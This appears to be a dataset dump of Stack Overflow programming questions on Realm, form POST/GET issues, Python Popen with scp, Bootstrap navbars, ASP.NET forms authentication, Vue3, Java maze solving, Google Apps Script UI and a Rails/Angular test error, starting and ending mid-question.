self.messageSenderName = messageSenderName
}
}
</code></pre>
<p>I am using Realm for first time, so I don't know If I have done some fatal mistake. If at all the data gets saved in the realm database. For the first time tableView should be blank , but after there is data in the database, the tableView must show the contacts and messageBody. It should show previous messages if any, just like <em>WhatsApp</em> when user launches the app again. The data in the tableView should persist. Please tell me what I am doing wrong or have not done. Thank you for your time.</p>
| 3 | 1,290 |
Clients using `GET` requests for a form, even though `POST` is defined. is javascript iframe the cause?
|
<p>I have two subsequent forms on my website with POST method.</p>
<p>The first page of my website <code>first.php</code> contains this code:</p>
<pre><code><form action="a.php" method="POST" target="_blank">
<input name="value" type="hidden" value="foo"/>
<div class="button"><label><span class="icon"></span>
<input type="submit" class="button-graphic ajax" value="Click Here"></label></div></form>
</code></pre>
<p><code>a.php</code> can be accessed only via this POST request (otherwise user will get method not allowed 405 error)</p>
<p>Once submitted, this form opens <code>a.php</code> with an AJAX modal window.</p>
<p><code>a.php</code> contains another form:</p>
<pre><code><form action="b.php" method="POST" target="_blank">
<input name="bar" type="hidden" value="none"/>
<div class="border"><label><input type="submit" class="button-graphic2 tracking" value="Continue"></label></div></form>
</code></pre>
<p>When a user clicks Submit in the second form, it will open <code>b.php</code>,
which can also be accessed only via POST request (otherwise - 405 error).</p>
<p>The only difference I can think about between these forms is that the second one contains a tracking js class (opening an iframe). this is the js code:</p>
<pre><code>$(document).ready(function() {
$(".tracking").click(function(){
var iframe = document.createElement('iframe');
iframe.style.width = '0px';
iframe.style.height = '0px';
iframe.style.display = 'block';
document.body.appendChild(iframe);
iframe.src = '/track.htm';
});
</code></pre>
<p>This is done in order to track a conversion using a third party script which is being execuated from <code>track.htm</code></p>
<p>I noticed that I am having a problem with about 5% of my iPad visitors.
they open <code>a.php</code> properly with a POST request, but when they go ahead to continue and open <code>b.php</code> as well, about 5% sends out a <code>GET</code> request instead of the desired <code>POST</code> request, causing them to get an 405 error and leave the website.</p>
<p>I know that these are real human users as I can see some of them trying several times to open <code>b.php</code> and keep getting these 405 errors.</p>
<p>Could this be caused because simultaneously their device is using a <code>GET</code> request to obtain <code>track.htm</code>? and this is some glitch?</p>
<p>How can this be solved?</p>
<p><strong>EDIT 4.4.2015:</strong></p>
<p>Since there's a chance that firing the tracking script is causing this, I would like to know if there's another fire to fire it (or track that adwords conversion), without causing these iPad user to use "GET" requests for the form as well.</p>
<p><strong>EDIT 10.4.2015</strong>:</p>
<p>This is the jquery code of the <code>ajax</code> class, that effects both <code>first.php</code> and perhaps <code>a.php</code>, as <code>first.php</code> is the parent frame:</p>
<pre><code>$(document).ready(function() {
$(".ajax").click(function(t) {
t.preventDefault();
var e = $(this).closest("form");
return $.colorbox({
href: e.attr("action"),
transition: "elastic",
overlayClose: !1,
maxWidth: $("html").hasClass("ie7") ? "45%" : "false",
opacity: .7,
data: {
value: e.find('input[name="value"]').val(),
}
}), !1
})
}),
</code></pre>
| 3 | 1,329 |
Python Catching Popen Output
|
<p>I'm experiencing some strange behavior with my Python script exiting without any error messages. Based on my debugging it is happening around a popen() call to scp a file to a server.</p>
<p>The code was (I was not the original author):</p>
<pre><code>logMessage(LEVEL_INFO, "copyto is " + copyto)
pid = Popen(["scp", "-i", "/root/.ssh/id_rsa", "/usr/gpsw/gpslog" + self.node_addr, copyto], stdout=PIPE)
__s = pid.communicate()[0]
logMessage(LEVEL_INFO, "GPS log SCP complete")
</code></pre>
<p>In an attempt to debug I enhanced it to:</p>
<pre><code>logMessage(LEVEL_INFO, "copyto is " + copyto)
pid = Popen(["scp", "-i", "/root/.ssh/id_rsa", "/usr/gpsw/gpslog" + self.node_addr, copyto], stdout=PIPE, stderr=PIPE)
out, err = pid.communicate()
if out:
print "[" + self.node_addr + "] stdout of pid: " + str(out)
if err:
print "[" + self.node_addr + "] stdout of pid: " + str(err)
print "[" + self.node_addr + "] returncode of pid: " + str(pid.returncode)
logMessage(LEVEL_INFO, "GPS log SCP complete")
</code></pre>
<p>Here is my console output:
(The pattern should be 5dda77, 5dd9fa, 5dda0d repeatedly. This is based on physical events)</p>
<pre><code>[5dda77] returncode of pid: 0
[5dd9fa] returncode of pid: 0
[5dda0d] returncode of pid: 0
[5dda77] returncode of pid: 0
[5dd9fa] returncode of pid: 0
[5dda0d] returncode of pid: 0
# (the script exited and I'm back at the prompt)
</code></pre>
<p>And here is my log output:</p>
<pre><code>INFO copyto is root@192.168.20.1:/usr/scu/datafiles/gpslog5dda77
INFO GPS log SCP complete
INFO copyto is root@192.168.20.1:/usr/scu/datafiles/gpslog5dd9fa
INFO GPS log SCP complete
INFO copyto is root@192.168.20.1:/usr/scu/datafiles/gpslog5dda0d
INFO GPS log SCP complete
INFO copyto is root@192.168.20.1:/usr/scu/datafiles/gpslog5dda77
INFO GPS log SCP complete
INFO copyto is root@192.168.20.1:/usr/scu/datafiles/gpslog5dd9fa
INFO GPS log SCP complete
INFO copyto is root@192.168.20.1:/usr/scu/datafiles/gpslog5dda0d
INFO GPS log SCP complete
INFO copyto is root@192.168.20.1:/usr/scu/datafiles/gpslog5dda77
</code></pre>
<p>So based on the log and output data. I believe something is going wrong during the SCP because the Python script crashes before it logs "GPS log SCP complete". What is interesting though is I see on the server end the file was copied entirely. So two questions:</p>
<ol>
<li>Am I using popen incorrectly?</li>
<li>Why am I not seeing any error messages in stderr?</li>
</ol>
<p>Thanks </p>
<p><strong>EDIT:</strong>
This script should <em>never</em> exit. There is no "normal exit" of the process. It should run indefinitely servicing requests from the server to retrieve data from GPS nodes that are available. </p>
<p>The main loop code is:</p>
<pre><code>stop_flags = 0
... (API for server and GPS nodes to interact with)
def main():
... (System initialization)
while stop_flags == 0:
# listen for messages
xmlrpcserver.handle_request()
comm.poll()
if stop_flags == STOP_FLAG_RESTART:
# suppress Pylint warning for reimport of Popen,PIPE
# pylint: disable-msg=W0404
from subprocess import Popen, PIPE
# use this instead of call to suppress output
pid = Popen(["/etc/init.d/S999snap",
"restart"],
stdout=PIPE)
__s = pid.communicate()[0]
if stop_flags == STOP_FLAG_REBOOT:
# suppress Pylint warning for reimport of Popen,PIPE
# pylint: disable-msg=W0404
from subprocess import Popen, PIPE
# use this instead of call to suppress output
pid = Popen(["reboot"],
stdout=PIPE)
__s = pid.communicate()[0]
if __name__ == '__main__':
main()
</code></pre>
| 3 | 1,475 |
Drop down my boostrap navbar in mobile view is always collapsed by default..how can i fix this?
|
<p>Here is my code for navbar. It's working perfectly in desktop view but when it comes to mobile view the drop down is not functioning properly. What I might be doing wrong?</p>
<pre><code><nav class="fixed-top navbar navbar-expand-lg navbar-dark ftco_navbar bg-dark ftco-navbar-light" id="ftco-navbar">
<div class="container">
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#ftco-nav" aria-controls="ftco-nav" aria-expanded="false" aria-label="Toggle navigation">
<span class="fa fa-bars"></span> Menu
</button>
<form action="#" class="searchform order-lg-last">
</form>
<div class="collapse navbar-collapse" id="ftco-nav">
<ul class="navbar-nav mr-auto mt-2">
<a class="navbar-brand" href="<?php echo base_url() ?>home"><img src="<?php echo base_url() ?>assets/images/logo.png"></a>
</ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item "><a href="<?php echo base_url() ?>home" class="nav-link">Home</a></li>
<li class="nav-item"><a href="<?php echo base_url() ?>about" class="nav-link">About</a></li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
Our Services
</a>
<div class="dropdown-menu" aria-labelledby="navbarDropdown">
<a class="dropdown-item" href="#">Construction and Planning</a>
<a class="dropdown-item" href="#">Architecting</a>
<a class="dropdown-item" href="#">General Services</a>
<a class="dropdown-item" href="#">Interior Design</a>
</div>
</li>
<li class="nav-item"><a href="<?php echo base_url() ?>contact" class="nav-link">Contact</a></li>
</ul>
</div>
</div>
</nav>
</code></pre>
| 3 | 1,392 |
secure web server asp.net
|
<p>I have a graphical user interface for my company product.
I want to secure the data being sent back and forth between client and server.</p>
<p>Is SSL one of the options? if yes, Please can some1 tell me the steps on how to implement it in my application code. </p>
<p>Do i need to buy the certificate or can i make it.. which is the best choice?</p>
<p>Any help is appreciated. thanks..</p>
<p>I am logging in using FormsAuthenticationTicket as follows:</p>
<pre><code>Session["userName"] = UserName.Text;
Session["password"] = Password.Text;
Session["domain"] = Domain.Text;
string role = "Administrators";
// Create the authentication ticket
FormsAuthenticationTicket authTicket = new FormsAuthenticationTicket(1, // version
UserName.Text, // user name
DateTime.Now, // creation
DateTime.Now.AddMinutes(60),// Expiration
false, // Persistent
role); // User data
// Now encrypt the ticket.
string encryptedTicket = FormsAuthentication.Encrypt(authTicket);
// Create a cookie and add the encrypted ticket to the
// cookie as data.
HttpCookie authCookie =
new HttpCookie(FormsAuthentication.FormsCookieName,
encryptedTicket);
// Add the cookie to the outgoing cookies collection.
Response.Cookies.Add(authCookie);
// Redirect the user to the originally requested page
Response.Redirect(FormsAuthentication.GetRedirectUrl(UserName.Text, false));
</code></pre>
<p>I am not sure how secure this is?? any suggestions.</p>
| 3 | 1,087 |
Vue3 Object - than is not a function
|
<p>I have a problem with my slider on vue3:</p>
<p><code>SlideShow</code></p>
<pre><code><template>
<div class="slides-wrapper">
<button
class="btn btn-primary btn-action btn-lg slides-prev"
@click="changePhoto(-1)"
:disabled="prevBtn">
<i class="icon icon-arrow-left"></i>
</button>
<div class="slides">
<Slide
:url="activeUrl"
:text="infoSlides"/>
</div>
<button
class="btn btn-primary btn-action btn-lg slides-next"
@click="changePhoto(+1)"
:disabled="nextBtn">
<i class="icon icon-arrow-right"></i>
</button>
</div>
</template>
<script>
import { ref, computed } from 'vue';
import Slide from './Slide.vue';
import { loader } from '@/helpers/loader';
export default {
name: 'SlideShow',
components: {
Slide,
},
props: {
images: {
type: Array,
},
},
setup(props) {
const numberPhoto = ref(0);
const lenghtTablePhotos = ref(+props.images.length - 1);
const activeUrl = computed(() => props.images[numberPhoto.value].url);
const nextBtn = computed(() => numberPhoto.value === lenghtTablePhotos.value);
const prevBtn = computed(() => numberPhoto.value === 0);
const infoSlides = computed(() => `${numberPhoto.value + 1}/${lenghtTablePhotos.value + 1}`);
function changePhoto(param) {
const index = numberPhoto.value + param;
const slide = props.images[index];
if (slide !== undefined) {
loader(props.images[index].url)
.than((url) => console.log(url))
.catch(console.log('err'));
}
}
return {
numberPhoto,
activeUrl,
lenghtTablePhotos,
changePhoto,
nextBtn,
prevBtn,
infoSlides,
};
},
};
</script>
<style lang="scss" scoped>
.slides-wrapper {
width: 500px;
position: relative;
}
.slides-next,
.slides-prev {
position: absolute;
top: 50%;
transform: translateY(-50%);
}
.slides-prev {
left: 0;
}
.slides-next {
right: 0;
}
</style>
</code></pre>
<p>and my js file:</p>
<p><code>loader.js</code></p>
<pre><code>export function loader(url) {
const img = document.createElement('img');
return new Promise((resolve, reject) => {
// eslint-disable-next-line no-unused-vars
img.onload = () => resolve(url);
img.onerror = () => reject(url);
img.src = url;
});
}
</code></pre>
<p>but it doesnt work, can someone help ?</p>
<p><a href="https://i.stack.imgur.com/QQxiO.png" rel="nofollow noreferrer">enter image description here</a></p>
| 3 | 1,424 |
Trying to filters an array of objects by an array of numbers with find my index and forEach doesnt work
|
<p>Im trying to filter all the contact I have with an array of numbers I want to remove. This should loop on every contact and remove the numbers not needed. Some contacts have two numbers and only one could be deleted but not the hole contact. I tried already to filter and see if the selected number is in an index but the forEach doesn't seem to be working any advice?. I don't think forEach returns something</p>
<pre><code>const filteredContacts = contacts.filter(contact => numbers.indexOf(contact.phoneNumbers.forEach(phone => phone.number)) > -1);
//2 sample of all contacts
// contacts
Object {
"company": "Financial Services Inc.",
"contactType": "person",
"firstName": "Hank",
"id": "2E73EE73-C03F-4D5F-B1E8-44E85A70F170",
"imageAvailable": false,
"jobTitle": "Portfolio Manager",
"lastName": "Zakroff",
"middleName": "M.",
"name": "Hank M. Zakroff",
"phoneNumbers": Array [
Object {
"countryCode": "us",
"digits": "5557664823",
"id": "337A78CC-C90A-46AF-8D4B-6CC43251AD1A",
"label": "work",
"number": "(555) 766-4823",
},
Object {
"countryCode": "us",
"digits": "7075551854",
"id": "E998F7A3-CC3C-4CF1-BC21-A53682BC7C7A",
"label": "other",
"number": "(707) 555-1854",
},
],
},
Object {
"contactType": "person",
"firstName": "David",
"id": "E94CD15C-7964-4A9B-8AC4-10D7CFB791FD",
"imageAvailable": false,
"lastName": "Taylor",
"name": "David Taylor",
"phoneNumbers": Array [
Object {
"countryCode": "us",
"digits": "5556106679",
"id": "FE064E55-C246-45F0-9C48-822BF65B943F",
"label": "home",
"number": "555-610-6679",
},
],
},
]
//numbers not to have
numbers = [
5557664823,
1344043005,
5467865467,
]
//Expected
Object {
"company": "Financial Services Inc.",
"contactType": "person",
"firstName": "Hank",
"id": "2E73EE73-C03F-4D5F-B1E8-44E85A70F170",
"imageAvailable": false,
"jobTitle": "Portfolio Manager",
"lastName": "Zakroff",
"middleName": "M.",
"name": "Hank M. Zakroff",
"phoneNumbers": Array [
Object {
"countryCode": "us",
"digits": "7075551854",
"id": "E998F7A3-CC3C-4CF1-BC21-A53682BC7C7A",
"label": "other",
"number": "(707) 555-1854",
},
],
},
Object {
"contactType": "person",
"firstName": "David",
"id": "E94CD15C-7964-4A9B-8AC4-10D7CFB791FD",
"imageAvailable": false,
"lastName": "Taylor",
"name": "David Taylor",
"phoneNumbers": Array [
Object {
"countryCode": "us",
"digits": "5556106679",
"id": "FE064E55-C246-45F0-9C48-822BF65B943F",
"label": "home",
"number": "555-610-6679",
},
],
},
]
</code></pre>
| 3 | 1,103 |
Little changes in the given algorithm
|
<p>It's about changing a maze algorithm.</p>
<p>What I mean by that? We got a 2-dimensional array filled with 0 and 1 where 0 stands for "not possible to pass" and 1 for "possible to pass".
An that algorithm finds its way from x to y (also known example: cat to mouse).
And this exactly is what the following algorithm is doing.</p>
<p>As input we got:</p>
<pre><code>{1, 0, 0,},
{1, 1, 0},
{0, 1, 1} };
</code></pre>
<p>And the output:</p>
<pre><code>(0,0) // ressembles the coordinates of the 1 in top left corner
(1,0) // ressembles the 1 under the first 1 I just explained
(1,1) // ...
(2,1)
(2,2)
</code></pre>
<p>I want change some little things:</p>
<ol>
<li>Change the starting and end position (this algorithm starts in top left and ends in bottom right) - I want mine to start in bottom left and end top right.</li>
<li>This algorithm can only move down and right - I want only move up and right.</li>
</ol>
<p>What changes need to be done, I'm pretty sure but I don't know how to code that:
For 1.) the problem seems to be:</p>
<pre><code>public List<Coordinate> solve() {
return getMazePath(0, 0, new Stack<Coordinate>());
}
</code></pre>
<p>Somehow, I need to do 0-1 with the second zero but how if I haven't access to x and y declaration? I really believe 0-1 would make me start at bottom left instead of top left, is that right?</p>
<p>For 2.) changes for the column, also know as y need to be done.
Instead of +1 it requires -1, is that right?</p>
<p>Sorry for that wall of text, I really tried to keep it short but I seem to have failed :P
Anyway I hope someone will read this^^</p>
<p>Algorithm WITHOUT the changes:</p>
<pre><code>import java.util.Arrays;
import java.util.*;
final class Coordinate {
private final int x;
private final int y;
public Coordinate(int x, int y) {
this.x = x;
this.y = y;
}
public int getX() {
return x;
}
public int getY() {
return y;
}
}
public class Alg {
private final int[][] maze;
public Alg(int[][] maze) {
if (maze == null) {
throw new NullPointerException("The input maze cannot be null");
}
if (maze.length == 0) {
throw new IllegalArgumentException("The size of maze should be greater than 0");
}
this.maze = maze;
}
public List<Coordinate> solve() {
return getMazePath(0, 0, new Stack<Coordinate>());
}
private List<Coordinate> getMazePath(int row, int col, Stack<Coordinate> stack) {
assert stack != null;
stack.add(new Coordinate(row, col));
if ((row == maze.length - 1) && (col == maze[0].length - 1)) {
Coordinate[] coordinateArray = stack.toArray(new Coordinate[stack.size()]);
return Arrays.asList(coordinateArray);
}
for (int j = col; j < maze[row].length; j++) {
if ((j + 1) < maze[row].length && maze[row][j + 1] == 1) {
return getMazePath(row, j + 1, stack);
}
if ((row + 1) < maze.length && maze[row + 1][col] == 1) {
return getMazePath(row + 1, col, stack);
}
}
return Collections.emptyList();
}
public static void main(String[] args) {
int[][] m = { {1, 0, 0,},
{1, 1, 0},
{0, 1, 1} };
Alg maze = new Alg(m);
for (Coordinate coord : maze.solve()) {
System.out.println("("+coord.getX() + "," + coord.getY()+")");
}
}
}
</code></pre>
| 3 | 1,520 |
creating a list of anonymous type and passing to view
|
<p>i want to to display all items from my parent table with selected items from child table and create a list of them to pass to my view. </p>
<h1>Here is my action method</h1>
<pre><code>public ActionResult Index()
{
int Month = DateTime.Now.Month;
List<EmployeeAtt> empWithDate = new List<EmployeeAtt>();
var employeelist = _context.TblEmployee.ToList();
foreach (var employee in employeelist)
{
// var employeeAtt = new EmployeeAtt();
var employeeAtt = _context.AttendanceTable
.GroupBy(a => a.DateAndTime.Date)
.Select(g => new
{
Date = g.Key,
Emp_name = employee.EmployeeName,
InTime = g
.Where(e => e.ScanType == "I")
.Min(e => e.DateAndTime.TimeOfDay),
OutTime = g
.Where(e => e.ScanType == "O")
.Max(e => e.DateAndTime.TimeOfDay),
});
}
return View();
}
</code></pre>
<h1>Here is my view</h1>
<pre><code> @model IEnumerable<Attendance.Models.EmployeeAtt>
@{`enter code here`
ViewBag.Title = "AttendanceTable";
<!--Get number of days of current month-->
var DaysInmonth = DateTime.DaysInMonth(DateTime.Now.Year, DateTime.Now.Month);
<!--Create a CurrentName field-->
var CurrentName = "";
}
<table class="table table-bordered">
<thead>
<tr>
<th>EmpName</th>
<!--Loop all the days of month and print it-->
@for (var numb = 1; numb <= DaysInmonth; numb++)
{
<th>@numb</th>
}
</tr>
</thead>
<tbody>
<!--Loop model-->
@foreach (var emp in Model)
{
//if Name is repeated, skip
if (CurrentName != emp.Emp_name)
{
// Set Name
CurrentName = emp.Emp_name;
<tr>
<!--print employee name one time only at the start of row-->
<td>@emp.Emp_name</td>
<!--loop all days of month-->
@for (var numb = 1; numb <= DaysInmonth; numb++)
{
<td>
@{
<!--print only that date time value which is equal to current date(as it will match column header) and current employee name, else print empty-->
var GetThatDayValue = Model.Where(a => a.Date.Value.Day == numb && a.Emp_name == emp.Emp_name).FirstOrDefault();
var DD = GetThatDayValue != null ? GetThatDayValue.InTime + " " + GetThatDayValue.OutTime : "A";
<text> @DD </text>
}
</td>
}
</tr>
}
}
</tbody>
</table>
</code></pre>
<p>How can i convert from anonymous type to concrete type so that i can make a list of view model objects ( EmployeeAtt) and access it in my view</p>
| 3 | 1,827 |
Google script UI - reading to and posting from a spreadsheet, link to populated UI
|
<p>I have created a UI that I would like to use to read from and post to a <a href="https://docs.google.com/spreadsheets/d/11Tf5vD_b_s__F6jPkggE7LUhGH7pQ5Rbuaf_zk2qiWI/edit?usp=sharing" rel="nofollow">spreadsheet</a>. Please ignore, for now, the link formatting in col A. Right now, that's linking to a form. I want to use the UI instead, and will remove references to the linked form as soon as I have this set up.</p>
<p><a href="https://script.google.com/macros/s/AKfycbzsTkgD0KVwIUNhyhqwxeezj5azvTsJSa8ZSmRf9VeMu7vkdvw/exec" rel="nofollow">Here is the current UI</a>.</p>
<p>I would like the end result to be:
1. When a new entry is submitted, managers get emailed with a link.</p>
<ol>
<li><p>That link will open up the UI.</p></li>
<li><p>The top (gray) area will be populated with the pertinent values from the spreadsheet, based on the ID number (column A).</p></li>
<li><p>The bottom area will be blank, or populated with the pertinent values from the spreadsheet if they exist.</p></li>
<li><p>The user will fill out the bottom area as necessary, and submit.</p></li>
<li><p>Data that was entered into the UI will populate the spreadsheet in the correct columns.</p></li>
<li><p>A user looking at the spreadsheet will be able to click on the ID number, and it will pull up the populated UI.</p></li>
</ol>
<p>This is quite simple just using Forms, but I'm looking for something more flexible, so I'm using UI.</p>
<p>Here are my problems:
1. I cannot find a simple, straightforward script that can search for a value, and, once that value is found, get the rest of the data in the row that contains that value.
◦ I've searched like crazy for this, and everyone seems to have a different idea, but none of them fit what I am looking for. </p>
<ol>
<li><p>I understand how to pass values from the UI to the spreadsheet, but not vice-versa.</p></li>
<li><p>Does var formUrl = formResponse.toPrefilledUrl(); work the same way with UI as it does with forms? If not, how do I create a link to the pre-populated UI?</p></li>
</ol>
<p>The code for the UI is below. Yes, I know the UI is ugly right now.</p>
<p>Any and all help is much appreciated! I'm still pretty darn new at this but learning new things daily.</p>
<pre><code>function doGet(e) {
var complaintApp = UiApp.createApplication().setTitle("Complaint Follow-Up").setWidth(1100).setHeight(1000);
//For pre-populating
var prePanel = complaintApp.createAbsolutePanel().setWidth('100%').setStyleAttributes({background: 'D8D8D8'})
var infoGrid = complaintApp.createGrid(2, 6).setStyleAttributes({fontWeight: "bold", }).setWidth('100%');
var idNum = complaintApp.createLabel('Complaint ID #:').setStyleAttributes({textAlign: 'right', float: 'left'});
infoGrid.setWidget(0, 0, idNum);
infoGrid.setWidget(0, 1, complaintApp.createTextBox().setName('ID').setId('ID').setStyleAttributes({float: 'left'}));
infoGrid.setWidget(0, 2, complaintApp.createLabel('Submitted by:').setStyleAttributes({textAlign: 'right', margin: "0 auto"}));
infoGrid.setWidget(0, 3, complaintApp.createTextBox().setName('subBy').setId('subBy').setStyleAttributes({margin: "0 auto"}));
infoGrid.setWidget(0, 4, complaintApp.createLabel('Submitted at:').setStyleAttributes({textAlign: 'right'}));
infoGrid.setWidget(0, 5, complaintApp.createTextBox().setName('subAt').setId('subAt').setStyleAttributes({float: 'left'}));
infoGrid.setWidget(1, 2, complaintApp.createLabel('Time since complaint \(in hours\):').setStyleAttributes({textAlign: 'right'}));
infoGrid.setWidget(1, 3, complaintApp.createTextBox().setName('timeSince').setId('timeSince').setWidth(50));
var guestGrid = complaintApp.createGrid(2, 8).setStyleAttributes({fontWeight: "bold"}).setWidth('100%');
guestGrid.setWidget(0, 0, complaintApp.createLabel('Guest name:').setStyleAttributes({textAlign: 'right'}));
guestGrid.setWidget(0, 1, complaintApp.createTextBox().setName('gName').setId('gName'));
guestGrid.setWidget(0, 2, complaintApp.createLabel('Room #:').setStyleAttributes({textAlign: 'right'}));
guestGrid.setWidget(0, 3, complaintApp.createTextBox().setName('roomNum').setId('roomNum'));
guestGrid.setWidget(0, 4, complaintApp.createLabel('Dates of Stay:').setStyleAttributes({textAlign: 'right', float: 'right'}));
guestGrid.setWidget(0, 5, complaintApp.createTextBox().setName('arrDate').setId('arrDate').setStyleAttributes({float: 'right'}));
guestGrid.setWidget(0, 6, complaintApp.createLabel(' - ').setStyleAttributes({margin: '0 auto'}));
guestGrid.setWidget(0, 7, complaintApp.createTextBox().setName('depDate').setId('depDate').setStyleAttributes({float: 'right'}));
guestGrid.setWidget(1, 0, complaintApp.createLabel('Email Address:').setStyleAttributes({textAlign: 'right'}));
guestGrid.setWidget(1, 1, complaintApp.createTextBox().setName('email').setId('email'));
guestGrid.setWidget(1, 2, complaintApp.createLabel('Phone Number:').setStyleAttributes({textAlign: 'right'}));
guestGrid.setWidget(1, 3, complaintApp.createTextBox().setName('phone').setId('phone'));
var complaintGrid = complaintApp.createGrid(2, 2).setStyleAttributes({fontWeight: "bold", margin: "0 auto"}).setWidth('100%');
complaintGrid.setWidget(0, 0, complaintApp.createLabel('Complaint concerns:'));
complaintGrid.setWidget(1, 0, complaintApp.createTextArea().setName('department').setId('department').setWidth(200));
complaintGrid.setWidget(0, 1, complaintApp.createLabel('Complaint:'));
complaintGrid.setWidget(1, 1, complaintApp.createTextArea().setName('complaint').setId('complaint').setWidth(800).setHeight(100).setStyleAttributes({overflow: "auto"}));
var detailsGrid = complaintApp.createGrid(2, 6).setStyleAttributes({fontWeight: 'bold'}).setWidth('100%');
detailsGrid.setWidget(0, 0, complaintApp.createLabel('First attempt at resolution by:').setStyleAttributes({textAlign: 'right'}));
detailsGrid.setWidget(0, 1, complaintApp.createTextBox().setName('firstRes').setId('firstRes'));
detailsGrid.setWidget(0, 2, complaintApp.createLabel('First attempt at resolution at:').setStyleAttributes({textAlign: 'right'}));
detailsGrid.setWidget(0, 3, complaintApp.createTextBox().setName('firstTime').setId('firstTime'));
detailsGrid.setWidget(0, 4, complaintApp.createLabel('Resolution provided:').setStyleAttributes({textAlign: 'right'}));
detailsGrid.setWidget(0, 5, complaintApp.createTextArea().setName('resList').setId('resList'));
detailsGrid.setWidget(1, 0, complaintApp.createLabel('Appeasement amount:').setStyleAttributes({textAlign: 'right'}));
detailsGrid.setWidget(1, 1, complaintApp.createTextBox().setName('appeasement').setId('appeasement'));
detailsGrid.setWidget(1, 2, complaintApp.createLabel('Guest mindset after initial resolution:').setStyleAttributes({textAlign: 'right'}));
detailsGrid.setWidget(1, 3, complaintApp.createTextBox().setName('mindset').setId('mindset'));
detailsGrid.setWidget(1, 4, complaintApp.createLabel('Is follow-up required?').setStyleAttributes({textAlign: 'right'}));
detailsGrid.setWidget(1, 5, complaintApp.createTextBox().setName('followup').setId('followup'));
var topPanel = complaintApp.createHorizontalPanel().setStyleAttributes({borderStyle: "groove", borderWidth: "2", borderColor: "threedface"}).setWidth('100%');
var guestPanel = complaintApp.createCaptionPanel('Guest Information').setStyleAttributes({background: "#D8D8D8", fontWeight: 'bold'});
var complaintPanel = complaintApp.createCaptionPanel('Complaint Information').setStyleAttributes({background: "#D8D8D8", fontWeight: 'bold', overflow: 'auto'});
var detailsPanel = complaintApp.createCaptionPanel('Initial Resolution Attempt').setStyleAttributes({fontWeight: 'bold'});
topPanel.add(infoGrid);
guestPanel.add(guestGrid);
complaintPanel.add(complaintGrid);
detailsPanel.add(detailsGrid);
prePanel.add(topPanel);
prePanel.add(guestPanel);
prePanel.add(complaintPanel);
prePanel.add(detailsPanel);
complaintApp.add(prePanel);
//Take info
var subPanel = complaintApp.createAbsolutePanel().setWidth('100%').setStyleAttributes({background: '#FBFBEF'})
var form = complaintApp.createFormPanel();
var flow = complaintApp.createFlowPanel();
var grid1 = complaintApp.createGrid(2, 1).setStyleAttributes({margin: "0 auto"});
grid1.setWidget(0, 0, complaintApp.createHTML("<br/>"));
grid1.setWidget(1, 0, complaintApp.createLabel("Please fill out the following, where applicable.")
.setStyleAttributes({textDecoration: "underline", fontSize: "16", fontWeight: "bold"}));
var fuGrid = complaintApp.createGrid(1, 7).setStyleAttributes({margin: "0 auto"})//.setWidth('100%');
var userName = complaintApp.createTextBox().setName('userName').setId('userName').setStyleAttributes({float: 'left'})
fuGrid.setWidget(0, 0, complaintApp.createLabel("Your name:").setStyleAttributes({textAlign: 'right', fontWeight: "bold"}));
fuGrid.setWidget(0, 1, userName);
fuGrid.setWidget(0, 2, complaintApp.createLabel("Date/time of follow-up:").setStyleAttributes({textAlign: 'right', fontWeight: "bold"}));
var fuDate = complaintApp.createDateBox().setFormat(UiApp.DateTimeFormat.DATE_SHORT).setName('fuDate').setId('fuDate').setStyleAttributes({float: 'left'})
fuGrid.setWidget(0, 3, fuDate);
var fuHour = complaintApp.createListBox().setName('fuHour').setId('fuHour').setWidth(60).setStyleAttributes({float: 'left'}).addItem("Hr");
var fuMin = complaintApp.createListBox().setName('fuMin').setId('fuMin').setWidth(60).setStyleAttributes({float: 'left'}).addItem("Min");
for (h=0;h<24;++h){
if(h<10){var hourstr='0'+h}else{var hourstr=h.toString()}
fuHour.addItem(hourstr)
}
for (m=0;m<60;++m){
if(m<10){var minstr='0'+m}else{var minstr=m.toString()}
fuMin.addItem(minstr)
}
fuGrid.setWidget(0, 4, fuHour.setStyleAttributes({float: 'left'}));
fuGrid.setWidget(0, 5, fuMin.setStyleAttributes({float: 'left'}));
var fuDescGrid = complaintApp.createGrid(2, 4).setStyleAttributes({fontWeight: "bold", margin: "0 auto"}).setWidth('100%')
fuDescGrid.setWidget(0, 1, complaintApp.createLabel('Description of Follow-up:'));
var fuDesc = complaintApp.createTextArea().setName('fuDesc').setId('fuDesc').setWidth(500).setHeight(70).setStyleAttributes({overflow: "auto"})
fuDescGrid.setWidget(1, 1, fuDesc);
fuDescGrid.setWidget(1, 2, complaintApp.createLabel('Amount of appeasement:'));
var fuApp = complaintApp.createTextArea().setName('fuApp').setId('fuApp');
fuDescGrid.setWidget(1, 3, fuApp);
var resSubClose = complaintApp.createGrid(1, 3).setStyleAttributes({margin: "0 auto"})
var resHandler = complaintApp.createServerHandler("resolved");
var resolved = complaintApp.createCheckBox("Issue is fully resolved.").setName("resCB").addValueChangeHandler(resHandler).setStyleAttributes({margin: "0 auto"});
resSubClose.setWidget(0, 0, resolved)
resSubClose.setWidget(0, 1, complaintApp.createSubmitButton("Submit"));
var closeHandler = complaintApp.createServerHandler("close");
var close = complaintApp.createButton("Close").addClickHandler(closeHandler);
resSubClose.setWidget(0, 2, close)
var resTf = complaintApp.createLabel("test").setId("resTf").setVisible(false)
subPanel.add(grid1);
flow.add(fuGrid);
flow.add(fuDescGrid);
flow.add(resSubClose);
form.add(flow);
subPanel.add(form);
complaintApp.add(subPanel);
complaintApp.add(resTf);
//var spreadSheet = SpreadsheetApp.getActiveSpreadsheet();
//spreadSheet.show(complaintApp);
return complaintApp;
}
function resolved(e){
var app = UiApp.getActiveApplication();
if (e.parameter.resCB == true){
app.getElementById('resTf').setText("Yes")
return app;
}
}
function close(e) {
var app = UiApp.getActiveApplication();
app.close();
return app;
}
</code></pre>
| 3 | 3,827 |
Why does an angular factory interfere with MongoId?
|
<p>I do have a Rails application (Rails 4 / Mongoid) which uses Capybara / Rspec. Furthermore I do use Angular.js for some client stuff. Unfortunately I experience a strange behavior in a spec test.</p>
<pre><code>RuntimeError: Circular dependency detected while autoloading constant Offer
</code></pre>
<p><code>creating_offers_spec.rb</code></p>
<pre><code>require 'spec_helper'
feature 'creating offers' do
before do
visit '/offers/new'
end
scenario 'can create an offer', js: true do
offer_number = Random.rand(10000)
fill_in 'offer_number', with: offer_number
fill_in 'offer_description', with: 'hello world!'
click_button 'btn_submit'
